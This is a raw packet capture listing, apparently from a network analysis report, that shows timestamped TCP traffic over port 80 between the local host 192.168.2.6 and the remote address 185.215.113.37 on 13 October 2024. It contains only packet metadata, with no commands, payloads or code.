Oct 13, 2024 14:49:25.876409054 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876410961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876420021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876432896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876432896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876440048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876450062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876458883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876461983 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876466990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876477003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876486063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876490116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876493931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876502991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876512051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876513004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876513004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876521111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.876564980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.876564980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.877039909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.877048969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.877113104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.877113104 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962070942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962088108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962097883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962105989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962116003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962125063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962249041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962249041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962299109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962308884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962316990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962327003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962335110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962340117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962344885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962353945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962363958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962372065 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962383032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962392092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962400913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962404966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962409973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962415934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962420940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962425947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962435961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962441921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962447882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962477922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962501049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962518930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962528944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962615013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962625980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962635040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962644100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962654114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962662935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962762117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962762117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962762117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962762117 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962948084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962959051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962969065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962977886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962985039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962987900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.962996006 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.962996960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963009119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963012934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963016987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963046074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963062048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963203907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963212967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963248968 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963269949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963282108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963289976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963299036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963308096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963314056 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963318110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963327885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963332891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963361025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963696003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963706017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963716030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963726044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963732958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963741064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963742971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963752985 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963759899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963762999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963773966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963778973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963783979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.963807106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.963834047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964021921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964032888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964061022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964075089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964176893 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964194059 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964205027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964214087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964222908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964226007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964231968 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964237928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964241028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964250088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964258909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964266062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964268923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964277983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964284897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964286089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964294910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964301109 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964307070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964314938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964322090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964324951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964334011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964344025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964351892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964353085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964360952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.964385033 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.964405060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965117931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965126991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965136051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965145111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965152979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965162039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965162039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965169907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965179920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965187073 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965188980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965198994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965204000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965209007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965218067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965223074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965228081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965235949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965239048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965245962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965255022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965255976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965265989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965272903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965276003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965285063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965295076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965297937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965303898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.965322971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.965342999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966027975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966038942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966048002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966057062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966065884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966073036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966074944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966084003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966092110 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966099024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966101885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966110945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966115952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966120958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966129065 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966136932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966137886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966149092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966154099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966157913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966171026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966173887 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966182947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966192007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966200113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966201067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966209888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966223955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966243029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:25.966783047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966794014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:25.966835976 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.050755024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050766945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050777912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050831079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.050837040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050848007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050858974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050915003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.050915003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.050915003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.050940037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050951004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050961971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.050993919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051026106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051054001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051064014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051074982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051105022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051131010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051143885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051153898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051187992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051290035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051302910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051312923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051321030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051330090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051331997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051342964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051353931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051358938 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051403046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051403046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051582098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051592112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051600933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051606894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051610947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051616907 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051625967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051636934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051644087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051656008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051656008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051692963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.051953077 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051964045 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051974058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051983118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.051994085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052000046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052004099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052014112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052021027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052022934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052031994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052063942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052124977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052134037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052143097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052151918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052161932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052167892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052172899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052186966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052212000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052356005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052402973 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052433014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052444935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052453995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052467108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052474022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052475929 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052485943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052508116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052520990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052699089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052707911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052716017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052726030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052735090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052742004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052750111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052759886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052767038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052769899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052779913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052789927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052795887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052798986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052809954 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052819967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052820921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052830935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.052830935 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052859068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.052884102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053134918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053145885 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053154945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053164005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053174973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053181887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053184032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053215027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053227901 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053423882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053435087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053443909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053453922 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053463936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053467035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053478003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053488970 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053499937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053500891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053508997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053519011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053529978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053539038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053539991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053546906 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053550005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053565979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.053571939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.053575993 CEST	80	49720	185.215.113.37	192.168.2.6
